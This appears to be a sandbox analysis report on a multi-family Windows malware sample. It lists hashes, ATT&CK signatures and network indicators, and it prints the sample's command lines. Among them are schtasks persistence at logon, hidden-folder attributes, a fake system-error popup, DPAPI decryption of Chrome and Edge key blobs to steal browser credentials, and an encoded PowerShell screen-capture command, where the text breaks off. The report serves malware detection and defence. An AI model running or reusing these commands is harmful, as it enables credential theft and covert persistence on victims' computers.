69d1cea59acd02fac51156de13cd09360614c5c091ae578dc9df9954ee9323ad

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Size 43.9MB
Sample260804-knnpyawbpg
SHA256 69d1cea59acd02fac51156de13cd09360614c5c091ae578dc9df9954ee9323ad
MD5 ff4e9b90dbd0dc288f2245b0a067b41f
SHA1 9492cf96f64024842d467043bae48866427bfe28
SHA512 3358d87b450c287896e37eac8b0c6d9ac6fc008e0dc70bcce7fb3956fdbd6f26cf14de4f8f37b145c1f99b8c314b6e6ea25cdf5df75ee01d41e5a76deadbe982
SSDEEP 786432:93on1HvSzxAMNjFZArYsCnqWDPvmPvVMob7OZkRK0:9Yn1HvSpNjXmCnquaPpK0
TLSH
T1BCA7BF03B2A501E5E4B7D1388AA75203D772B8674731CACF325D02161FBBAE09A7F765
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe

Loads dropped DLL 1 IoCs

pid	Process
2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
39	discord.com
40	discord.com
43	discord.com

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
11	ip-api.com
28	api.ipify.org
31	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
3028	cmd.exe
468	cmd.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
540	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1808	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4308	powershell.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3028	cmd.exe
468	cmd.exe
4592	cmd.exe
2628	cmd.exe
2812	cmd.exe
2064	cmd.exe
3332	cmd.exe
4252	cmd.exe
4768	cmd.exe
3408	cmd.exe
4424	cmd.exe
3360	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4652	schtasks.exe
2972	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
4308	powershell.exe
4308	powershell.exe
4832	powershell.exe
4832	powershell.exe
4228	powershell.exe
4228	powershell.exe
2436	powershell.exe
2436	powershell.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeIncreaseQuotaPrivilege	4308	powershell.exe
Token: SeSecurityPrivilege	4308	powershell.exe
Token: SeTakeOwnershipPrivilege	4308	powershell.exe
Token: SeLoadDriverPrivilege	4308	powershell.exe
Token: SeSystemProfilePrivilege	4308	powershell.exe
Token: SeSystemtimePrivilege	4308	powershell.exe
Token: SeProfSingleProcessPrivilege	4308	powershell.exe
Token: SeIncBasePriorityPrivilege	4308	powershell.exe
Token: SeCreatePagefilePrivilege	4308	powershell.exe
Token: SeBackupPrivilege	4308	powershell.exe
Token: SeRestorePrivilege	4308	powershell.exe
Token: SeShutdownPrivilege	4308	powershell.exe
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeSystemEnvironmentPrivilege	4308	powershell.exe
Token: SeRemoteShutdownPrivilege	4308	powershell.exe
Token: SeUndockPrivilege	4308	powershell.exe
Token: SeManageVolumePrivilege	4308	powershell.exe
Token: 33	4308	powershell.exe
Token: 34	4308	powershell.exe
Token: 35	4308	powershell.exe
Token: 36	4308	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	540	tasklist.exe
Token: SeDebugPrivilege	2436	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 4768	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	88
PID 4768 wrote to memory of 3892	4768	cmd.exe	90
PID 3892 wrote to memory of 4756	3892	net.exe	91
PID 2648 wrote to memory of 2812	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	92
PID 2812 wrote to memory of 3408	2812	cmd.exe	94
PID 3408 wrote to memory of 4912	3408	cmd.exe	95
PID 2648 wrote to memory of 4424	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	96
PID 4424 wrote to memory of 4308	4424	cmd.exe	98
PID 2648 wrote to memory of 1808	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	100
PID 1808 wrote to memory of 2184	1808	cmd.exe	102
PID 2648 wrote to memory of 2064	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	103
PID 2064 wrote to memory of 4652	2064	cmd.exe	105
PID 2648 wrote to memory of 3360	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	106
PID 3360 wrote to memory of 2972	3360	cmd.exe	108
PID 2648 wrote to memory of 3028	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	109
PID 3028 wrote to memory of 4832	3028	cmd.exe	111
PID 2648 wrote to memory of 468	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	113
PID 468 wrote to memory of 4228	468	cmd.exe	115
PID 2648 wrote to memory of 4592	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	117
PID 4592 wrote to memory of 540	4592	cmd.exe	119
PID 2648 wrote to memory of 2628	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	120
PID 2628 wrote to memory of 2436	2628	cmd.exe	122
PID 2648 wrote to memory of 3332	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	123
PID 3332 wrote to memory of 2740	3332	cmd.exe	125
PID 2648 wrote to memory of 4252	2648	2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe	127
PID 4252 wrote to memory of 4104	4252	cmd.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2184	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_ff4e9b90dbd0dc288f2245b0a067b41f_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c start "" mshta vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact support."", 16, ""System Error"":close")"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\cmd.exe
    cmd /c start "" mshta vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact support."", 16, ""System Error"":close")
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\system32\mshta.exe
      mshta vbscript:Execute("MsgBox ""The execution of the program has failed due to a system error. Please try restarting the application. If the problem persists, contact support."", 16, ""System Error"":close")
      4⤵
      PID:4912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lWKf4b7o""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lWKf4b7o"
    3⤵
    - Views/modifies file attributes
    PID:2184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsTelemetrySync_jGhNDZ" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lWKf4b7o\A33IZXbw.xml" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsTelemetrySync_jGhNDZ" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lWKf4b7o\A33IZXbw.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsTelemetrySync_jGhNDZ" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lWKf4b7o\LsQpBzWp.vbs'" /sc onlogon /rl highest /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsTelemetrySync_jGhNDZ" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\lWKf4b7o\LsQpBzWp.vbs'" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,236,113,148,248,200,148,78,142,60,39,153,23,229,157,14,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,108,128,208,189,162,85,213,181,242,164,55,41,80,157,245,122,30,135,31,114,177,47,215,55,32,236,44,169,12,87,157,56,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,191,132,17,158,169,137,139,28,17,243,87,2,194,117,222,4,226,38,46,57,159,148,43,16,78,229,225,236,10,6,135,227,48,0,0,0,65,228,254,85,130,98,75,48,75,149,162,194,63,102,221,53,53,245,187,145,254,113,142,158,71,170,208,70,103,189,116,151,247,127,130,133,208,13,149,60,22,165,248,152,49,235,190,28,64,0,0,0,129,3,234,197,12,2,121,154,112,36,112,56,202,246,27,157,93,73,27,216,242,46,215,68,44,211,198,85,105,29,132,87,130,146,85,225,136,232,157,97,250,2,179,34,102,169,229,108,175,135,75,88,123,136,169,236,213,115,192,102,196,49,209,131), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,236,113,148,248,200,148,78,142,60,39,153,23,229,157,14,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,108,128,208,189,162,85,213,181,242,164,55,41,80,157,245,122,30,135,31,114,177,47,215,55,32,236,44,169,12,87,157,56,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,191,132,17,158,169,137,139,28,17,243,87,2,194,117,222,4,226,38,46,57,159,148,43,16,78,229,225,236,10,6,135,227,48,0,0,0,65,228,254,85,130,98,75,48,75,149,162,194,63,102,221,53,53,245,187,145,254,113,142,158,71,170,208,70,103,189,116,151,247,127,130,133,208,13,149,60,22,165,248,152,49,235,190,28,64,0,0,0,129,3,234,197,12,2,121,154,112,36,112,56,202,246,27,157,93,73,27,216,242,46,215,68,44,211,198,85,105,29,132,87,130,146,85,225,136,232,157,97,250,2,179,34,102,169,229,108,175,135,75,88,123,136,169,236,213,115,192,102,196,49,209,131), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,236,113,148,248,200,148,78,142,60,39,153,23,229,157,14,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,10,30,117,190,127,133,215,21,37,239,176,37,210,43,142,76,113,140,117,111,110,69,79,52,218,10,100,222,164,70,61,215,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,94,107,205,104,11,217,157,215,245,102,48,41,100,101,126,16,31,189,59,124,206,97,242,37,248,200,39,118,235,224,146,232,48,0,0,0,192,226,106,24,61,175,93,210,246,74,71,120,80,249,9,17,130,129,54,6,120,237,158,229,27,39,22,113,159,159,90,104,177,146,194,146,7,103,20,187,80,164,165,134,157,226,240,117,64,0,0,0,135,72,224,182,151,13,13,50,72,44,50,230,144,212,34,2,40,18,196,205,60,205,8,25,1,148,85,50,165,215,200,244,1,137,74,178,178,163,70,168,6,226,219,96,127,78,123,22,152,190,92,1,148,105,204,128,55,29,75,12,183,91,187,36), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,21,236,113,148,248,200,148,78,142,60,39,153,23,229,157,14,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,10,30,117,190,127,133,215,21,37,239,176,37,210,43,142,76,113,140,117,111,110,69,79,52,218,10,100,222,164,70,61,215,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,94,107,205,104,11,217,157,215,245,102,48,41,100,101,126,16,31,189,59,124,206,97,242,37,248,200,39,118,235,224,146,232,48,0,0,0,192,226,106,24,61,175,93,210,246,74,71,120,80,249,9,17,130,129,54,6,120,237,158,229,27,39,22,113,159,159,90,104,177,146,194,146,7,103,20,187,80,164,165,134,157,226,240,117,64,0,0,0,135,72,224,182,151,13,13,50,72,44,50,230,144,212,34,2,40,18,196,205,60,205,8,25,1,148,85,50,165,215,200,244,1,137,74,178,178,163,70,168,6,226,219,96,127,78,123,22,152,190,92,1,148,105,204,128,55,29,75,12,183,91,187,36), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXABRAEMAcwBGAG4AegBqAGsAawBJAFwARQBOAC0AVgBnAHgAbQBzAHUAeABmAFwAUwBjA